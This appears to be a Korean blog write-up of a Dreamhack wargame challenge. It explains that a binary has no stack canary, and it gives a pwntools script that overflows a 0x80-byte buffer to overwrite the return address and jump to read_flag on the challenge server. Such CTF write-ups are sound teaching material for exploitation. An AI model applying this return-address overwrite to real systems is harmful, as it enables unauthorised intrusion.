Fascination
article thumbnail

basic_exploitation_001

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_001)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.


# 문제 분석

- checksec 확인

  • canary가 없어 ret address 조작하여 프로그램의 실행흐름 변조 가능

- 함수 목록 확인

  • read_flag를 통해 플래그를 획득할 수 있을 것 같음

- main 함수

  • buffer의 크기가 0x80이므로 dummy(0x80) + ebp(0x4) + ret(0x4) 로 페이로드를 구성하면 프로그램의 흐름을 조작할 수 있음을 알 수 있음

 

 

# exploit

from pwn import *

p = remote('host3.dreamhack.games', 15951)
e = ELF('./basic_exploitation_001')

payload = b"A"*0x80
payload += b"B"*0x4
payload += p32(e.symbols['read_flag'])

p.sendline(payload)

p.interactive()

 

 

# 실행결과

 

'War Game & CTF > Dreamhack' 카테고리의 다른 글

[Dreamhack] Return to Shellcode  (0) 2022.09.05
[Dreamhack] Return Address Overwrite  (0) 2022.09.01
[Dreamhack] basic_exploitation_000  (0) 2022.08.31
[Dreamhack] shell_basic  (0) 2022.08.31
[Dreamhack] simple_sqli  (0) 2022.03.10
profile

Fascination

@euna-319

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!